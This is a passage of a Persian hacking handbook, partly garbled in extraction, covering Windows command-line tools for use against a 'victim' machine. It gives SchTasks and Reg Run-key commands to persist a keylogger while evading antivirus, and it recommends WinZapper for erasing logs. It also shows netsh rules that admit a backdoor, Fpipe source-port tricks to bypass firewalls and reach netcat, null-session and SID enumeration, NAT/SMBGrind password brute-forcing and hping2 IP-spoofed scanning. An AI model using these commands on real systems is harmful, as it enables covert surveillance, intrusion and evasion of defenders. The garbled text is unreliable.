این دستور بالا !!  خود را دستخوش تغيير کند و هویت دیگران را جعل کند IPهر کاربری از شبکه قادر است رابطه مزبور یا آدرس 
  .برای تشخيص این کار است

  
  
  
  
  
  
  
  
  
  
  
  
  

Disk Part  
  

رد         Disk Partدستوری به نام   دی ک شن بن يله ی آن پارتي ه وس وان ب دوز می ت رو  DiskPartاول دستور   . وجود دارد که از داخل وین
  :برای ساخت پارتيشن جدید بسته به نوع آن از دستور های زیر استفاده می شه  .تایپ کرده و وارد محيط برنامه می شيد 

  
Create Partition Primary Size= [n] 
Create Partition Logical Size =[n] 
Create Partition Extended Size=[n] 

  
Microsoft DiskPart version 5.1.3565 
 

  
   .د درایو ها رو فرمت می کنيformatبعد با دستور 

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨٦٥    صفحه

SchTasks  
  

ه   د     Scheduled Tasksشما حتما با برنام رده ای ار ک دوز ک د طوری         ای .  در وین ه رابطی در محيط گرافيکی دارد می توان ه ک ن برنام
د       را کن ه را اج ک برنام ان ی ک زم ه در ی ود ک يم ش تور   .تنظ ط دس ورت      SchTasksتوس ه ص ه را ب ن برنام ات ای وان تنظيم ی ت م

Command-Line انجام داد .  
  
  

ه    .یی از این دستور اکتفا می کنيم         ها از توضيح آنها صرف نظر کرده و فقط به مثال ها            چبه دليل ساده بودن سویي     شکل کلی این دستور ب
  :شکل زیر است 

  
SchTasks /Create or ... /TN [TaskName] /TR [TaskToRun] /SC [ScheDuleType] /MO [ModiFier]  

  
  .کنيم ... پاک و یا . را ایجاد Taskدر قسمت اول که مشخص می کنيم ميخواهيم 

  
  .خود انتخاب می کنيم  Task نامی را برای TN/در قسمت 

  
اگر فرد تيز هوشی باشيد می توانيد دستورات خود  ( .  مسير برنامه ای را که می خواهيم اجرا شود را مشخص می کنيم TR/در قسمت   

ل    ذخيره می کنيد و بعد آدرس اBat می نویسيد و بعد با پسوند Notepadبه این صورت که دستورات را داخل     . را هم اجرا کنيد      ن فای ی
  )را ميدهيد 

  
ه      SC/در قسمت  د ک ه را مشخص می کني د شامل     قالب اجرای برنام  - Monthly - Weekly - Daily - Minute - Onceمی توان

OnLogon - OnStart  و در قسمت  .باشد/MO ورد    .  می توان زمان و تاریخ اجرای برنامه را تعریف نمود ه ی م این دستور برنام
  :يقه اجرا می کند  دق١٠نظر را هر 

  
SchTasks /Create /TN "MOJY" /TR c:\windows\system32\Keyloger.exe /SC minute /MO 10 

  
  : اجرا ميکند ز را در هنگام بالا آمدن ویندوراین دستور برنامه ی مورد نظ

  
SchTasks Create /TN "MOJY" /TR c:\windows\system32\Keyloger.exe /SC onStart 

  
رد و از دست                       از ای  تفاده ک وان اس رد          AntiVirusن دستور بجای اجرای خودکار برنامه از طریق ریجستری می ت رار ک ا حدودی ف .  ت
ع شود             Query/ته اگر فردی به این دستورات کاملا تسلط داشته باشد با سویيچ             بال ن موضوع مطل د از ای ا اضافه    . این دستور می توان ب

ين اجرا         mm/dd/yyyyتور و دادن تاریخ مورد نظر به صورت          به آخر این دس    SD/کردن سویيچ    اریخ مع ه را در یک ت  ميتوان برنام
  : به صورت زیر می توان استفاده کرد Delete/ از سویيچ Taskبرای پاک کردن یک  .کرد 

  
SchTasks /Delete /TN [TaskName] 

  
  : بئين صورت ميتوان عمل کرد Taskبرای متوقف کردن 

  
SchTasks /End /TN [TaskName] 

  
  : ها بدین صورت عمل می کنيم Taskبرای دیدن تمام 

  
SchTasks /Query 

  
  .بسته به خلاقيت شما ميتوان دستورهای جالبی را خلق کرد 

  
ه ای  قربانی هستيم دستوری را اجرا یا برنامرکامپيوت های دیگر این دستور این است که ما نمی خواهيم هنگامی که داخل        مزیتیکی از   

 .برنامه را کوک می کنيم برای موقعی که ما از سيستم قربانی بيرون رفته ایم . را فعال کنيم چون ممکن است باعث گير افتادن ما شود 
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 ٨٦٦    صفحه

Reg  
  

رایش در  وآیا می دانيد که از طریق خط فرمان هم امکان      ه می شود     وجود دارد ؟  Registryی ا دستور   . بل ار را     Regب ن ک وان ای ميت
ن دستور    . ميباشد  Root Key شاخه یا ۵همان طور که می دانيد ریجستری دارای  .به شرح این دستور می پردازیم  . کرد عملی در ای
  : شاخه به صورت زیر تعریف شده اند ۵این 

  
HKEY_CURRENT_USER     --> HKCU 
HKEY_LOCAL_MECHINE    --> HKLM 
HKEY_CLASSES_ROOT     --> HKCR 
HKEY_USER                     --> HKU 
HKEY_CURRENT_CONFIG  --> HKCC 

  
  :مقدار ها هم به صورت زیر تعریف شده اند 

  
BINARY VALUE   --> REG_BINARY 
DWORD VALUE  --> REG_DWORD 
STRING VALUE  --> REG_EXPAND_SZ 

   
 

ه م             چبه دليل ساده بودن سویي     ط ب يم             ها از توضيح آنها صرف نظر کرده و فق ا می کن ن دستور اکتف ایی از ای ال ه ا      .ث دا نمودن ی رای پي ب
  :انجام یک پرس و جو از یک مقدار در ریجستری بدین صورت عمل ميکنيم 

  
Reg Qurey [RootKey] /v [ValueName] 

 
Reg Query HKLM\software\microsoft\windows\currentversion\Run /v Keyloger 

  
  :یجستری بدین صورت عمل می کنيم برای ایجاد یک مقدار در ر

  
Reg Add [RootKey] /v [ValeuName] /t DataType /d Data 

  
Reg Add HKLM\software\microsoft\windows\currentversion\Run /v Keyloger /t  REG_EXPAND_SZ /d 
'%systemRoot%\system32\keyloger.exe' 

  
  :مل می کنيم برای پاک کردن یک مقدار از ریجستری بدین ع

  
Reg Delete [RootKey] /v [ValueNme] 

 
Reg Delete HKLM\software\microsoft\windows\currentversion\Run /v Keyloger 
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 ٨٦٧    صفحه

Sc  
  
  

 کردن سرویس ها Stop - Run - Disable - Enable   . مدیریت سرویس ها یکی از مهمترین کارهای اساسی یک مدیر شبکه است 
ام است            گر . ل انج ا قاب دیریت سرویس ه ه در م ا را از     .فتن اطلاعات در مورد یک سرویس خاص و کارهای دیگری ک ن کاره ه ای هم

ه          .می توان انجام داد   Scطریق خط فرمان و با دستور  ه البت دد است ک سيار متع ن دستور دارای سویيچ های ب ه     چای ا ک ورد از آنه د م ن
  .هستند توضيح داده می شود مور نياز ما 

  
ایی خواهيم   Qurey - Strat - Stop - Pause - Continue - Configسویيچ های مورد نياز ما   ميباشند که در مورد هر کدام مثال ه

  .زد 
  

  :از این دستور استفاده می کنيم ... و  Run -  Disableبرای دیدن تمام سرویس های 
  

Local      --> Sc Query Type= service state= all 
Remote --> Sc \\[IP Address ] Query type= service state= all 

  
  :برای دیدن تمام سرویس های فعال 

  
Sc Query type= service state= Active 

  
  :برای دیدن تمام سرویس های غير فعال 

  
Sc Query type= service state= inactive 

  
  :برای دیدن اطلاعات کامل در مورد یک سرویس 

  
Sc qc [ServiceName] 

  
  : کردن یک سرویس به ترتيب Start - Stop - Pause - Continueبرای 

  
Sc Start [ServixeName] 
Sc Stop [ServixeName] 
Sc Pause [ServixeName] 
Sc Continue [ServixeName] 

  
ه سه صورت می شه         ا را ب رد  Configسرویس ه ه صورت      Automatic - Manoel – Disable Config:  ک کردن سرویس ب

Automatic:   
  

Sc Config [ServiceName] Start=Auto 
  

Config کردن سرویس به صورت Manoel :  
 

Sc Config [ServiceName] start=Demand 
Config  کردن سرویس به صورتDisable :  

 
Sc Config [ServiceName] Start=Disabled 
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 ٨٦٨    صفحه

EventQuery  
  

م و         ها نتنLog Fileمدیریت  سيار مه اری ب ی ک ين های امنيت ام روت ها در ویندوز بلکه در تمام سيستم عامل ها و وب سرور ها و در تم
ن  .ضروری است  د یکLog Fileای ا مانن ستند IDS   ه ی  .  کوچک ه ای امنيت ت ه ام فعالي ه تم را ک ستمی را . چ اربردی و سي ک

Monitor      کرده و از آنها Log    دوز دارای       .ایلها در تشخيص نفوذ به ما خيلی کمک می کنند           مطالعه این ف   . بر ميدارند سيستم عامل وین
  . ها می باشد که ما ابزار خط فرمان ویندوز را توضيح ميدهيم Log Fileیک ابزار خط فرمان برای مطالعه این  یک ابزار گرافيکی و

  
  .ميتوان این فایل ها را مشاهده کرد  EventQueryبا استفاده از فرمان 

  
EventQuery [LogNmae] 

  
  : به ترتيب از دستور های زیر استفاده می کنيم Security - Application - System های Logکه برای دیدن 

  
EvenQuery /L "Security" 
EvenQuery /L "Application" 
EvenQuery /L "System" 

  
رد       ها را فقط می توان مشاهده نمود و Log Fileاما با این دستور این  رایش ک ا را وی وان آنه ه    .نمی ت ه   WinZapperتوسط برنام ک

ود و تک   Log File نوع Localدارای حجم بسيار کمی هم هست می توان به صورت  رد      ، را مشخص نم اک ک ا را پ ن   . تک آن ه ای
  . کنيد Download به صورت رایگان http://www.NtSecurity.nuبرنامه رو می توانيد از سایت 

  
  
   

   :Convertر دستو
  

  : تغيير داد NTFS به Fat 16 مجدد می توان فت یک درایو را از Fdiskتوسط این دستور بدون نياز به 
  

Convert [DraiveName]:/fs:NTFS 
Convert c:/fs:NTFS 

 
  
  

  !!! پيکر بندی ديوار آتش ويندوز تحت خط فرمان 
 

خوب برای اینکه این کار را انجام بدهيم از ابزار تحت خط   !!  ميکنه صدق XP SP2 فقط برای ویندوز صفاول از همه بگم که این و
  !!! استفاده ميکنيم netshفرمانی ویندوز به نام 

  
  : زیر است خوب شکل کلی تمام دستورات این ابزار به صورت

  
Usage: netsh [-a AliasFile] [-c Context] [-r RemoteMachine] [Command | -f ScriptFile] 

  
  :چون ما فقط در اینجا فقط پيکر بندی دیوار آتش ویندوز را مد نظر داریم به صورت ثابت اینگونه مينویسيم اما 

  
C:\> netsh firewall [ فرمان ] 

  
 را دیگر برای صرفه جوی در تایپ  netsh firewallقابل ذکر است ما از این به بعد قسمت !!  زیاد سخت نگيرید کم ، کم یاد ميگيرید 

  !!وریم ولی شما برای اجرای دستورات باید آن را قبل از تمام دستورات بنویسيد نمی آ
  

  توضيح  فرمان  
١  add allowedprogram  ه ه خاص را ب د مجوز دسترسی یک برنام ان ميتواني ن فرم ا ای ب

  ... !! و Back Doorشبکه بدهيد ، مثلا یک 
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 ٨٦٩    صفحه

٢  add portopening       د          با این فرمان ميتوانيد یک پورت خاص  را باز کنيد ، تا صفا کني
!!!  

٣   
delete allowedprogram 

رای        اص ، ب ه خ ک برنام ی ی د از دسترس ان ميتواني ن فرم ا ای ب
د           وگيری کني ا شبکه جل روس        !! ارتباط ب وی دسترسی وی ثلا جل م

  !! را بگيرید Win Updateیاب و 
۴  delete portopening      ورت خاص را ببن د ،  با این فرمان ميتوانيد یک پ ا   ( دی شبکه را ب

  !! )این کار خود مختل کنيد 
۵  reset                  ه دوز ب وار آتش وین اگر از این سویيچ استفاده کنيد ، پيکربندی دی

  !!حالت پيش فرض خودش باز ميگردد 
۶   

set allowedprogram 
ه                     ه های را ک دی برنام د ، پيکربن ن سویيچ ميتواني تفاده از ای با اس

ه شبکه دارن         رات لازم را          مجوز دسترسی ب رده و تغي شاهده ک د م
  !!!اجرا کنيد 

٧  set icmpsettings      ل دی پروتک د پيکربن ه ميتواني اب گزین ا انتخ ر ICMPب  را تغيي
تاد                 اورش اس شود ، ی دهيد و مثلا اگر به وسيله دیوار آتش فيلتر مي

  !!کنيد 
٨  set logging دی شاهد    پيکربن د م ش را  ميتواني وار آت داد دی ت رخ ل ثب ه  فای

  !!ویرایش کنيد 
٩  set notifications    ه ميتوانيد پيکر بندی اخطار های دیوار آتش را ، تغيير دهيد و البت

  !!مشاهده هم بکنيد 
١٠ set opmode                   د ال کني ر فع ا غي ميتوانيد با این سویيچ این دیوار آتش را فعال و ی

  !!و یک سری کار های دیگر 
١١ set portopening  ا د ب د ميتواني ر دهي از را تغيي ای ب ورت ه دی پ ویيچ پيکربن ن س ای

  ... !!و
١٢ set service                د ر دهي ا را تغيي با این سویيچ ميتوانيد پيکر بندی سرویس دهنده ه

  !!!، البته در ارتباط و رابطه با دیوار آتش 
١٣  

show allowedprogram 
ه       ی ب ق دسترس ه ح ایی را ک ه ه د برنام ایش ميده ویيچ نم ن س ای

ه              شبک ه را دارند و ميتواند از دیوار آتش عبور کنند بدون هيچ گون
  !!درد سری 

١۴ show config  پيکربندی دیوار آتش را ميتوانيد مشاهده کنيد!!  
١۵ show currentprofile  وضعيت جاری دیوار آتش را نمایش ميدهد!!  
١۶ show icmpsettings  وضعيت پروتکلICMP را نمایش ميدهد .  
١٧ show logging  محتویات فایل ثبت رخداد را نمایش ميدهد.  
١٨ show notifications  وضعيت اخطار های دیوار آتش را نمایش ميدهد.  
١٩ show opmode  وضعيت فعال بودن یا نبودن دیوار آتش را نمایش ميدهد.  
٢٠ show portopening ميدهد پورت های که حق عبور از دیوار آتش را دارند ، نمایش .  
٢١ show service  سرویس های که حق عبور از دیوار آتش را دارند نمایش ميدهد.  
٢٢ show state  وضعيت جاری دیوار آتش را نمایش ميدهد.  

  
  

  :مثال 
  
  

D:\>netsh firewall show state 
 
Firewall status: 
------------------------------------------------------------------- 
Profile                           = Standard 
Operational mode                  = Disable 
Exception mode                    = Enable 
Multicast/broadcast response mode = Enable 
Notification mode                 = Enable 
Group policy version              = None 
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Remote admin mode                 = Disable 
 
Ports currently open on all network interfaces: 
Port   Protocol  Version  Program 
------------------------------------------------------------------- 
1029   TCP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
1028   UDP       IPv6     D:\WINDOWS\System32\ 
2103   TCP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
2105   TCP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
2107   TCP       IPv6     D:\WINDOWS\System32\ 
135    TCP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
3527   UDP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
1801   TCP       IPv4     D:\WINDOWS\System32\MQSVC.EXE 
2869   TCP       IPv4     (null) 
1900   UDP       IPv4     (null) 
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ا تک          هدف این   : اهداف   بود چون یک سری ابزار را نميشود در هر جای معرفی کرد آنها را جمع کردم اینجا آوردم بيشتر این برنامه ه
  !!کاربرده و برای شرایط خاصی هستند ولی بسيار مفيد 

  
 .آموزش و معرفی ابزارهای برای ویندوز : فصل نوزدهم  

  
  NULL CONNECTIONمعرفی اصطلاح  
 Dump SEآموزش و معرفی ابزار  
  .SID 2 USER و USER 2 SIDآموزش و معرفی ابزار  
  .Net Bios Auditing  با نام کامل NATآموزش و معرفی ابزار  
  .SMB Grindآموزش و معرفی ابزار  
  .Somarsoft Dump Regآموزش و معرفی ابزار  
  .Fportآموزش و معرفی ابزار  
  .Loggedonآموزش و معرفی ابزار  
  .NT Lastابزار آموزش و معرفی  
 !! برنامه برتر امنيتی ٧۵معرفی  

 
 
  
  
  
  
  
  
  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨٧٢    صفحه

  
  

  :ابزارهای مفيد برای ویندوز 
  

  :مقدمه 
  

این ابزارهایی که این جا معرفی ميکنم ابزارهایی خوب هستند که کارایی عالی دارند البته اکثرا برای یک کار خاص هستند و البته 
  !!داخل ویندوز نيستند 

  
  

  :تغيير مسير پورت آموزش برنامه های 
  

 استفاده ميشود که Fpipe و Datapipeبرای این منظور از دو برنامه . این کار در مواقعی که البته نادر هم نيست بسيار انجام ميشود
ابزار دومی برای ویندوز است و بدون هيچگونه . اولی پدر دومی است و مثل روال هميشگی اول بری خانواده لينوکس ساخته شد 

  . ق تمام حرفه ایی ها قبول دارند که بر خلاف سنت این دفعه ابزار ویندوز قوی تر استاغرا
 خط برنامه نوشته شده است برنامه نویس ها ميدانند من چی ١٠٠با این کارایی خفن فقط با ) Datapipe(این لازم بگم که این ابزار

  !!ميگم 
  

   :Fpipeابزار 
 

  !!انجام ميدهيم ..  حين فرآیند در خواست سرویس وب وClientاین کار برای تغيير مسير ماشين 
  :شکل زیر را مشاهده ميکنيد)  است Helpهمان سویچ  ( h–با سویچ  بعد از اجرای این برنامه

C :\> fpipe.exe –h 
-? / -h         -show this help test. 
-c               - maximum allowed simultaneous TCP connection. Defaults is 32 
-i                - listening interface IP Address. 
-l                - remote port number 
-s               - outbound source port number. 
-u               - UDP  mode. 
-v               - Verbose mode. 

  
 برای پورت های u– جزئيات پيشرفت کار را نمایش ميدهد ؛ سویچ v–يه برنامه ها سویچ خوب گزینه های تابلوی دارد مثلا مثل بق

UDP که البته توضيح ميدهم اساسی نگران نباشيد چون فکر ميکنم تا به حال با این آشنایی نداشته باشيد....  استفاده ميشود.  
  !!با مثال جلو ميروم که کارای هم داشته باشد 

يم     ٩٠٨٠ که البته استاندارد این کار هم هست به پورت        ٨٠م ترافيک وب را از روی پورت        خوب مثلا ما ميخواهي    ا حال کن يم ت  منتقل کن
!!  

  :برای این منظور مينویسيم 
C :\> fpipe –l 9080 –r 80 www.google.com 
Pipe connected: 
        In :                   127.0.0.1 : 1917       127.0.0.1 : 9080 
        Out :         192.168.0.148 :1972        216.239.33.101 : 80 

  
خوب توجه کنيد این .  را برای آن فشار ندهيد برای شما نمایش ميدهدCtrl+Cاین برنامه گزارش اتصال های موجد را هنگامی که کليد 

  .اتصال را نيز نمایش ميدهد مبدا و مقصد و همچنين شماره پورت منبع هر IPبرنامه علاوه بر آدرس 
  .به مثال زیر توجه کنيد.  می توان امکان بهره برداری بيشتر از مشخصه پورت را در اختيار برنامه قرار دادs–با استفاده از سویچ 

C: \> fpipe –l 139 –r 139 s 88 192.168.97.154 
 را دوباره به خودش برگرداندم مزیت این کار در این NetBIOS شاید با نگاه اول به این مثال فکر کنيد که من دیوانه ام که ترافيک

از این کار . جاری ميشود) ٨٨پورت شماره (  مسير فوق از یک پورت منبع واحد ر در فرآیند تغييSMBنهفته است که همه ترافيک 
پورت های قابل توجه دیگر برای . ندميشود جهت خنثی سازی تاثير دیوارهای آتشی استفاده کرد که بگونه نا مناسب پيکر بندی شده ا

   .٨٠ و ۵٣ و ٢۵ و ٢٠این فرایند عبارتند از 
  !!یک مثال دیگر ميزنم بهتر یاد بگيرید 
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 جهت برقراری ارتباط با آن وسيله پورت مبدا Fpipe باشد ، از ١٠٠٠ در پورت NC دارای Remoteبه عنوان مثال اگر ميزبان 
  :ه خودمان دستور زیر را وارد ميکنيم متفاوت استفاده ميکنيم و در رایان

C :\> Fpipe.exe –l 23 –s 25 –r 1000 xxx.xxx.xxx.xxx 
  

 برای دستگاه ٢٣ جهت برقراری ارتباط با پورت Telnetبوسيله .  ایجاد ميکند٢٣ را برای ارتباطی در پورت Fpipeاین دستور 
 استفاده ٢۵ تعيين خواهد شد که از پورت مبدا IP xxx.xxx.xxx.xxx با Remote در ميزبان ١٠٠٠آزمایش ، ترافيک برای پورت 

  !! از راه دور هستيم NCاکنون قادر به استفاده از . ميکند
  
  
  
١- Null Connection:   
  

ن خوب این یک ابزار نيست بلکه به نوع خاصی ارتباط بين دو کامپيوتر ميگویند که مهمان که درخواست ارتباط را فرستاده است تا پایا
  .نشست ناشناس باقی بماند 

 جهت برقراری ارتباط با اشتراک پيش NET USEاین نوع ارتباط معمولا بدون نام کاربر و کلمه عبور برقرار ميشود ، از دستور 
 این .به دست آورد... با اتصال این نوع ميتوان اطلاعاتی درباره کاربر ، گروه ، و.  استفاده ميکندNT در سيستم ویندوز $IPCفرض 

  . دارد ١٣٩اتصال نياز به باز بودن پورت 
  :شکل عمومی دستور به صورت زیر است 

C :\> net use \\ server name \ipc$ ((  )) User ((  ))/ 
 
   :Dump SEC ابزار -٢
  

ميتوان آن را . ارد  دNullاحتياج به نشست . این ابزار دریافت اطلاعات فوق العاده در باره سرویس دهنده ها و کاربران آنها است 
  .روی ماشين قربانی فرستاد و بعد در آنجا اجرا کرد و جواب ها را مشاهده کرد 

  .در مجموع کارایی آن عالی است و اگر به خط فرمان قربانی دست رسی دارید حتما این را امتحان کنيد 
  
   :User 2 SID  و SID 2 User ابزار -٣
  

 تنظيم شده باشد خيلی از ١ برابر با Registry در Restrict Anonymousدر مواقعی که . کردمیک نمونه این را بالا تر ها معرفی 
 نيز هست استفاده ۵٠٠ مدیر که برابر با SIDابزارهای بالا جواب برای ما برنمی گرداند در این واقع ما از این دو ابزار برای فهميدن 

  .ميکنيم
 برای سرویس دهنده ایجاد کرد و Null نخست باید User 2 SID به منظور به کارگيری . دارد Nullاین ابزار هم نياز به یک نشست 

ترتيب . راهاندازی کردSID را بر خلاف سرویس دهنده هدف و یک گروه شناخته حساب را برای تعيين شناسه User 2 SIDسپس 
  : دستگاه هدف را باز ميگرداند SIDپایين 

C :\> user 2 sid \\ server-name “ domain user “ 
گروه مدیریت را در اختيار ) RED( دستگاه و شناسه نسبی SIDاکنون که .  را برای سرویس دهنده باز ميگرداندSIDسپس این وسيله 

ترتيب این دستور به .  کاربر خواهيد بود که از مدیران به حساب می آیندIDS جهت تعيين SID 2 Userدارید ، قادر به راه اندازی 
  :ر استصورت زی

C :\> SID 2 User \\ server-name \ machine-sid admin-RID 
  
   :Net BIOS Auditing Tool و يا با نام کمال NATابزار  -۴
  

 است که البته کلی رد پا از Brute Forceاین ابزار برای تست کلمات عبور بر روی یک کاربر و یا فهرستی از کاربران با مکانيزم 
  !! و کند نيز هم است ولی کارای آن خوب است خودش به جا ميگزارد

شکل کار با این به صورت !!پيدا کند بعد متوقف ميشود ) معتبر( این ابزار آنقدر کار ميکند تا یک نام کاربر و کلمه عبور به درد بخور 
  :زیر است 

C :\> nat –O out put.txt –u user list.txt –p passlist.txt xxx.xxx.xxx.xxx 
 
   :SMB Grindبزار  ا-۵
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این ابزار هم دقيقا مثل بالای است و از همان مکانيزم استفاده ميکند ولی فرق این با بالایی این است که خيلی سریع تر است کار با این 
  :هم ساده است شکل عمومی دستور در این برنامه به صورت زیر است 

C :\> smbgrind –i IP address –r Net BOIS -v 
  . تعدادی سویچ هست که به خودتان توضيحات آن را واگذار ميکنم دارای یک

  
   :Somarsoft DumpReg ابزار -۶
  

 دارد که NULLاین ابزار احتياج به اتصال .  را از سرویس دهنده راه دور فراهم ميکندregistryاین ابزار امکان تقاضای اطلاعات 
  .م که این ابزار گرافيکی است این را بگویم ه.  ایجاد کنيدNET USEباید با دستور 

  
  
  
  
  
   :Fport ابزار -٧
  

 ماشين قربانی را با برنامه های در حال اجرا بر روی این ماشين UDP و TCPاین ابزار قادر است رابطه موجد ميان پورت های 
 موقعيت انواع مختلفی از برنامه توصيه ميکنم که اگر به خط فرمان قربانی دسترسی دارید از این برنامه استفاده کنيد تا. آشکار کند

  .هایی که امکان ورود به سيستم را به شما ميدهد را برای شما آشکار کند
  
  
  
   :Loggedon ابزار -٨
  

ندارد .. این هم ذکر کنم که سویچ و. این ابزار برای این است که ببينيم چه کسانی و البته از چه راه هایی به ماشين هدف دسترسی دارند
 قانونی را فقط نمایش ميدهد و امثال خودمان را نمایش لن تنها است و البته این ابزار کار برانی و البته روشهای اتصاو یک فرما

  !! نميدهد 
  
   :NT Last ابزار -٩
  

 نيستند لصاین ابزار دقيقا کارای بالا را دارد با این تفاوت که کاربرانی و روشهای اتصال که قبل به ماشين هدف متصل بودن و الان مت
  !!را نشان ميدهد

  
  
  

   :Hping 2 ابزار – ١٠
  

ه اطلاعات                              از ب داری ني ن یک مق ا ای این ابزار همه کاره است ، از پویشگر پورت گرفته تا کشف کننده قواعد دیوار آتش و کار کردن ب
  !!!خوب برای شروع کار ، با مثال شروع ميکنيم . دارد ... پایه ای و 

  
    
[root@originix hping2-rc]# ./hping2 -c 4 -n -i 2 192.168.1.101 
HPING 192.168.1.101 (eth0 192.168.1.101): NO FLAGS are set, 40 headers + 
 0 data bytes 
len=46 ip=192.168.1.101 flags=RA seq=0 ttl=128 id=54167 win=0 rtt=0.8 ms 
len=46 ip=192.168.1.101 flags=RA seq=1 ttl=128 id=54935 win=0 rtt=0.7 ms 
len=46 ip=192.168.1.101 flags=RA seq=2 ttl=128 id=55447 win=0 rtt=0.7 ms 
len=46 ip=192.168.1.101 flags=RA seq=3 ttl=128 id=55959 win=0 rtt=0.7 ms 
    
--- 192.168.1.101 hping statistic --- 
4 packets tramitted, 4 packets received, 0% packet loss 
round-trip min/avg/max = 0.7/0.8/0.8 ms 

  
وا   ۶۴ استفاده ميکند و این بسته ها را با پنجره ای به اندازه   TCPخوب این برنامه به صورت پيش فرض از بسته های            دن محت  بایت و ب

د از  در مثال بالا تعدادی سویيچ به کار رفته که به ترتي. و بدن تنظيم هيچ گزینه ای ميفرستد  داد     c 4-: ب عبارتن ی اینکه تع سته  ۴ یعن  ب
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 باعث ميشود که بين هر ارسال   i 2-؛ گزینه .  را به نام تبدیل نکند IP باعث ميشود که  برنامه آدرس n-را برای مقصد ارسال ميکند ؛ 
  . ثانيه ای صبر کند ٢یک فاصله 

  
ه     ICMPی شبکه شما یا هدف بسته های حتما تا به همين جا به طور کاملا واضح فهميده اید که اگر رو    • زار ب ن اب  فيلتر شود ای

  . استفاده ميکند TCPشما کمک بسيار بزرگی ميکند چون به صورت پيش فرض از بسته های 
  

  !! حال که با گزینه ها استفاده شده در مثال آشنا شدید برویم به سراغ نتایج حاصله 
   که به معنی اندازه بسته بازگشتی است  وجود داردLenدر اول هر خط یک متغيری به نام  •

  
  .  هم که مشخص است یعنی چه IPمتغيير  •

  
ر       .  بازگشتی تنظيم شده است   IPمتغيير بعدی هم نشان دهنده علایمی است که در بسته            • م را در جدول زی ن علای ليست کامل ای

  .مشاهده ميکنيد 
  

  عنوان  نماد
A ACK 
R Reset 
U URGENT 
P PUSH 
F FIN 
S SYN 

  
ه توضيحات فصول اول   ه ب ا توج املا واضح است ب اد ک ر نم وان ه ی !! خوب عن ا معن شود دو علامت RAپس در اینج  مي

RESET و ACK.   
  

  . هم برای شماره ردیف بسته بازگشتی از ميزبان است seqمتغيير  •
  

  . بازگشتی است IP از بسته ID هم به معنی ، بيانگر فيلد idمتغيير  •
  

  . است TCPم برای اندازه پنجره  هwinتغيير  •
  

  . که زمان صرف شده برای رفت برگشت یک بسته را مشخص ميکند rttو در آخر هم متغيير  •
  

رده و               v–خوب حال اگر از سویيچ       سنده ک در اطلاعات ب ين ق ه هم ا ب ا م د ام ا جمع آوری ميکن  استفاده کنيم کلی اطلاعات بيشتر برای م
شویم        ات نمي تفاده از پروتکل                    ای . وارد ریز جزئي ه جای اس د ب ه شما ميتواني نم ک م اضافه ک  از پروتکل های دیگری همچون     TCPن ه

UDP و یا ICMP و یا raw IP هم استفاده کنيد .  
  

   !! برای  اسکن پورت Hpingاستفاده از 
  

ویش کرد nmapاین همين اول کار بگم که شما وقتی مثلا با یک پویشگر پورتی مثل             ورت        یک سيستمی را پ ثلا فلان پ ه م دی ک د و دی ی
دین       ... ان جواب نميدهد و یا دیوار آتش ان را فيلتر کرده و              د چن د و اگر بخواهي باید بياید و این مکانيزم را فقط برای آن پورت تست کني

  !!!پورت را تست کنيد برای هر دفعه باید مرحله دوم را برای هر پورت تکرار کنيد و نتایج را تجزیه تحليل نماید 
  

دهيم       IP استفاده ميکنيم و شماره شناسایی آدرس  های          r–برای این منظور از گزینه      : مرحله اول    رار مي تفاده از  .  را مورد بررسی ق اس
د                     r–گزینه   ایش ده زایش نم ه صورت اف ا را ب ه شناسه های              .  باعث ميشود که این ابزار شناسه ه ن گزین تفاده از ای در صورت عدم اس

  :به مثال زیر توجه کنيد . ثال قبل به ما نمایش ميدهد واقعی را مثل م
  

bjohnson# ./hping2 -r 192.168.1.200 
HPING 192.168.1.200 (ep0 192.168.1.200): NO FLAGS are set, 40 headers + 0 data 
bytes 
len=46 ip=192.168.1.200 ttl=255 id=23886 sport=0 flags=RA seq=0 win=0 rtt=1.2 ms 
len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms 
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len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=2 win=0 rtt=0.6 ms 
len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms 
len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=4 win=0 rtt=0.6 ms 
len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=5 win=0 rtt=0.6 ms 
len=46 ip=192.168.1.200 ttl=255 id=+1 sport=0 flags=RA seq=6 win=0 rtt=0.6 ms 

  
 فقط فعلا با 192.168.1.200ار یک واحد افزایش پيدا ميکند ، این بدان معنا است که  هر بidخوب همانگونه که مشاهده ميکنيد  شناسه    

م     Hpingخوب با توجه به کشف این موضوع  ؛ حال ما از دو برنامه      !!  ما ارتباط داشته     ی ه ی درپ ام پ  استفاده ميکنيم ، یکی برای انج
ستم              ن سي ستم   (این عمليات و دیگری برای جعل آدرس ای ه                   )  ١٩٢٫١۶٨٫١٫٢٠٠سي رده و ب سته های را جعل ک ه ب ن منظور ک رای ای ب

  ) !!! پویش در آخرت امنيت و پست فطرت ایی (اهدافی در شبکه بفرستيم که آن ها فکر کنند این سيستم ان بسته ها را فرستاده  
  

د از سویيچ       IPبرای جعل شماره      : مرحله دوم    د      a- بای تفاده نمایي ری از سویيچ          .  اس ره گي ا به ه آدرس      ب انی از شبکه ب ورد نظر ميزب م
ویيچ  192.168.1.200 ری از س ره گي ا به رده و ب ل ک سته s- را جع ماره SYN  یک ب ورت ش ه پ ه یک ٨٠ را ب صد ک ان مق  از ميزب

  :سرویس دهنده وب سرور است ارسال می نمایم 
  

[root@originix hping2]# hping2 –a 192.168.1.200 –p 80 –S targethost 

 
